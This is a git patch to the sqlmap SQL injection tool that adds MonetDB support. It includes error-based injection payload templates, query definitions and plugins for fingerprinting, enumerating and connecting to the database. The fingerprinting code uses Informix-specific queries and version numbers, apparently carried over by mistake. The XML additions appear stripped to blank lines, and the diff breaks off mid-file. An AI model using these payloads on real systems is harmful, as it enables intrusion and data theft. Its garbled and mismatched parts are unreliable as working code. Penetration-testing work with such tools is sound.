From 1087396d88f1bfb48333cb8f2c22b87d2c6003c2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 17 Jan 2020 17:14:41 +0100 Subject: [PATCH] Adding support for MonetDB --- data/xml/errors.xml | 6 ++ data/xml/payloads/error_based.xml | 38 ++++++++++ data/xml/queries.xml | 68 +++++++++++++++++- lib/controller/handler.py | 4 ++ lib/core/agent.py | 12 +++- lib/core/common.py | 9 ++- lib/core/dicts.py | 2 + lib/core/dump.py | 2 +- lib/core/enums.py | 2 + lib/core/settings.py | 11 +-- lib/request/inject.py | 10 +-- lib/utils/deps.py | 2 + plugins/dbms/db2/enumeration.py | 2 +- plugins/dbms/h2/enumeration.py | 2 +- plugins/dbms/monetdb/__init__.py | 30 ++++++++ plugins/dbms/monetdb/connector.py | 59 +++++++++++++++ plugins/dbms/monetdb/enumeration.py | 34 +++++++++ plugins/dbms/monetdb/filesystem.py | 11 +++ plugins/dbms/monetdb/fingerprint.py | 107 ++++++++++++++++++++++++++++ plugins/dbms/monetdb/syntax.py | 40 +++++++++++ plugins/dbms/monetdb/takeover.py | 15 ++++ plugins/generic/databases.py | 10 ++- plugins/generic/entries.py | 2 + 23 files changed, 460 insertions(+), 18 deletions(-) create mode 100644 plugins/dbms/monetdb/__init__.py create mode 100644 plugins/dbms/monetdb/connector.py create mode 100644 plugins/dbms/monetdb/enumeration.py create mode 100644 plugins/dbms/monetdb/filesystem.py create mode 100644 plugins/dbms/monetdb/fingerprint.py create mode 100644 plugins/dbms/monetdb/syntax.py create mode 100644 plugins/dbms/monetdb/takeover.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 4c330de21..2cb014058 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -169,4 +169,10 @@ + + + + + + diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index 410cada69..f4449c483 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -704,6 +704,44 @@ Firebird + + + MonetDB AND error-based - WHERE or HAVING clause + 2 + 3 + 1 + 1,9 + 1 + AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MonetDB +
+
+ + + MonetDB OR error-based - WHERE or HAVING clause + 2 + 3 + 3 + 1,9 + 2 + OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MonetDB +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/controller/handler.py b/lib/controller/handler.py index fc439729a..0b430b907 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -24,6 +24,7 @@ from lib.core.settings import DB2_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import H2_ALIASES from lib.core.settings import INFORMIX_ALIASES +from lib.core.settings import MONETDB_ALIASES from lib.utils.sqlalchemy import SQLAlchemy from plugins.dbms.mssqlserver import MSSQLServerMap @@ -52,6 +53,8 @@ from plugins.dbms.h2 import H2Map from plugins.dbms.h2.connector import Connector as H2Conn from plugins.dbms.informix import InformixMap from plugins.dbms.informix.connector import Connector as InformixConn +from plugins.dbms.monetdb import MonetDBMap +from plugins.dbms.monetdb.connector import Connector as MonetDBConn def setHandler(): """ @@ -73,6 +76,7 @@ def setHandler(): (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), (DBMS.H2, H2_ALIASES, H2Map, H2Conn), (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), + (DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/agent.py b/lib/core/agent.py index de7f50e09..ecf9b26b4 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -648,7 +648,7 @@ class Agent(object): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -941,6 +941,16 @@ class Agent(object): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr + elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,): + if query.startswith("SELECT ") and field is not None and field in query: + original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0] + for part in original.split(','): + if re.search(r"\b%s\b" % re.escape(field), part): + _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1) + replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num) + limitedQuery = replacement + break + elif Backend.isDbms(DBMS.HSQLDB): match = re.search(r"ORDER BY [^ ]+", limitedQuery) if match: diff --git a/lib/core/common.py b/lib/core/common.py index 8517f47f8..b539f10f3 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -147,6 +147,7 @@ from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES from lib.core.settings import NULL from lib.core.settings import PARAMETER_AMP_MARKER from lib.core.settings import PARAMETER_SEMICOLON_MARKER +from lib.core.settings import PARAMETER_PERCENTAGE_MARKER from lib.core.settings import PARTIAL_HEX_VALUE_MARKER from lib.core.settings import PARTIAL_VALUE_MARKER from lib.core.settings import PAYLOAD_DELIMITER @@ -2021,6 +2022,8 @@ def safeStringFormat(format_, params): if retVal.count("%s", start, end) == len(params): for param in params: index = retVal.find("%s", start) + if isinstance(param, six.string_types): + param = param.replace('%', PARAMETER_PERCENTAGE_MARKER) retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:] else: if any('%s' in _ for _ in conf.parameters.values()): @@ -2046,7 +2049,7 @@ def safeStringFormat(format_, params): else: break - retVal = getText(retVal) + retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%') return retVal @@ -4067,7 +4070,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = "\"%s\"" % retVal.upper() @@ -4105,7 +4108,7 @@ def unsafeSQLIdentificatorNaming(name): if isinstance(name, six.string_types): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = name.replace("\"", "").upper() diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 4e0f07bef..48e8afe13 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -17,6 +17,7 @@ from lib.core.settings import H2_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import MAXDB_ALIASES +from lib.core.settings import MONETDB_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import NULL @@ -198,6 +199,7 @@ DBMS_DICT = { DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None), DBMS.H2: (H2_ALIASES, None, None, None), DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), + DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"), } FROM_DUMMY_TABLE = { diff --git a/lib/core/dump.py b/lib/core/dump.py index 986e8be79..936c226ae 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -166,7 +166,7 @@ class Dump(object): def currentDb(self, data): if Backend.isDbms(DBMS.MAXDB): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) diff --git a/lib/core/enums.py b/lib/core/enums.py index 3ab83f540..98bbca1b4 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -45,6 +45,7 @@ class DBMS(object): HSQLDB = "HSQLDB" H2 = "H2" INFORMIX = "Informix" + MONETDB = "MonetDB" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -60,6 +61,7 @@ class DBMS_DIRECTORY_NAME(object): HSQLDB = "hsqldb" H2 = "h2" INFORMIX = "informix" + MONETDB = "monetdb" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index 586fd275c..1fb5fea0e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.25" +VERSION = "1.4.1.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -60,6 +60,7 @@ UPPER_RATIO_BOUND = 0.98 PARAMETER_AMP_MARKER = "__AMP__" PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__" +PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__" PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" URI_QUESTION_MARKER = "__QUESTION_MARK__" @@ -257,6 +258,7 @@ DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", " HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") +MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria") @@ -265,19 +267,20 @@ ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access") FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") -MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db") +MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db") SYBASE_ALIASES = ("sybase", "sybase sql server") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") H2_ALIASES = ("h2",) INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") +MONETDB_ALIASES = ("monet", "monetdb",) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") diff --git a/lib/request/inject.py b/lib/request/inject.py index 579a1e7f6..63dcbc168 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -105,10 +105,12 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): - expression = "SELECT %s FROM (%s)" % (field, expression) - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): - expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression)) + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB): + alias = randomStr(lowercase=True, seed=hash(expression)) + expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example + expression += " AS %s" % alias + else: + expression = "SELECT %s FROM (%s)" % (field, expression) if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields: nulledCastedField = agent.nullAndCastField(field) diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 1b184f1d0..66225198a 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -46,6 +46,8 @@ def checkDependencies(): __import__("jpype") elif dbmsName == DBMS.INFORMIX: __import__("ibm_db_dbi") + elif dbmsName == DBMS.MONETDB: + __import__("pymonetdb") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index ab42b0a7e..35cd69a37 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -10,7 +10,7 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): - warnMsg = "on DB2 it is not possible to list password hashes" + warnMsg = "on DB2 it is not possible to enumerate password hashes" logger.warn(warnMsg) return {} diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index 0d26d2b7f..e9cb9707d 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -43,7 +43,7 @@ class Enumeration(GenericEnumeration): return H2_DEFAULT_SCHEMA def getPasswordHashes(self): - warnMsg = "on H2 it is not possible to list password hashes" + warnMsg = "on H2 it is not possible to enumerate password hashes" logger.warn(warnMsg) return {} diff --git a/plugins/dbms/monetdb/__init__.py b/plugins/dbms/monetdb/__init__.py new file mode 100644 index 000000000..76c054d00 --- /dev/null +++ b/plugins/dbms/monetdb/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MONETDB_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.monetdb.enumeration import Enumeration +from plugins.dbms.monetdb.filesystem import Filesystem +from plugins.dbms.monetdb.fingerprint import Fingerprint +from plugins.dbms.monetdb.syntax import Syntax +from plugins.dbms.monetdb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MonetDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines MonetDB methods + """ + + def __init__(self): + self.excludeDbsList = MONETDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MONETDB] = Syntax.escape diff --git a/plugins/dbms/monetdb/connector.py b/plugins/dbms/monetdb/connector.py new file mode 100644 index 000000000..ac5d9247a --- /dev/null +++ b/plugins/dbms/monetdb/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import pymonetdb +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/gijzelaerr/pymonetdb + User guide: https://pymonetdb.readthedocs.io/en/latest/index.html + API: https://www.python.org/dev/peps/pep-0249/ + License: Mozilla Public License 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = pymonetdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except pymonetdb.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except pymonetdb.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (pymonetdb.OperationalError, pymonetdb.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except pymonetdb.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py new file mode 100644 index 000000000..9d2d2ffe7 --- /dev/null +++ b/plugins/dbms/monetdb/enumeration.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on MonetDB it is not possible to enumerate password hashes" + logger.warn(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on MonetDB it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on MonetDB it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on MonetDB it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} diff --git a/plugins/dbms/monetdb/filesystem.py b/plugins/dbms/monetdb/filesystem.py new file mode 100644 index 000000000..e8c642492 --- /dev/null +++ b/plugins/dbms/monetdb/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py new file mode 100644 index 000000000..5b1cefd5b --- /dev/null +++ b/plugins/dbms/monetdb/fingerprint.py @@ -0,0 +1,107 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MONETDB_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MONETDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MONETDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MONETDB_ALIASES): + setDbms(DBMS.MONETDB) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.MONETDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("isaurl(NULL)=false") + + if result: + infoMsg = "confirming %s" % DBMS.MONETDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("CODE(0) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB + logger.warn(warnMsg) + + return False + + setDbms(DBMS.MONETDB) + + self.getBanner() + + if not conf.extensiveFp: + return True + + infoMsg = "actively fingerprinting %s" % DBMS.MONETDB + logger.info(infoMsg) + + for version in ("14.1", "12.1", "11.7", "11.5", "10.0"): + output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version) + + if output: + Backend.setVersion(version) + break + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py new file mode 100644 index 000000000..849dfc9bf --- /dev/null +++ b/plugins/dbms/monetdb/syntax.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.common import isDBMSVersionAtLeast +from lib.core.common import randomStr +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE(97)||CODE(98)||CODE(99)||CODE(100)||CODE(101)||CODE(102)||CODE(103)||CODE(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CODE(%d)" % _ for _ in getOrds(value)) + + retVal = expression + + if isDBMSVersionAtLeast("11.70"): + excluded = {} + for _ in re.findall(r"DBINFO\([^)]+\)", expression): + excluded[_] = randomStr() + expression = expression.replace(_, excluded[_]) + + retVal = Syntax._escape(expression, quote, escaper) + + for _ in excluded.items(): + retVal = retVal.replace(_[1], _[0]) + + return retVal diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py new file mode 100644 index 000000000..432fa6f78 --- /dev/null +++ b/plugins/dbms/monetdb/takeover.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def __init__(self): + self.__basedir = None + self.__datadir = None + + GenericTakeover.__init__(self) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 5a86d7123..d2387d1a8 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -26,6 +26,7 @@ from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import safeStringFormat from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue @@ -580,7 +581,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -722,7 +723,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -797,6 +798,9 @@ class Databases(object): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None + elif Backend.isDbms(DBMS.MONETDB): + query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) + field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -846,6 +850,8 @@ class Databases(object): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) + elif Backend.isDbms(DBMS.MONETDB): + query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 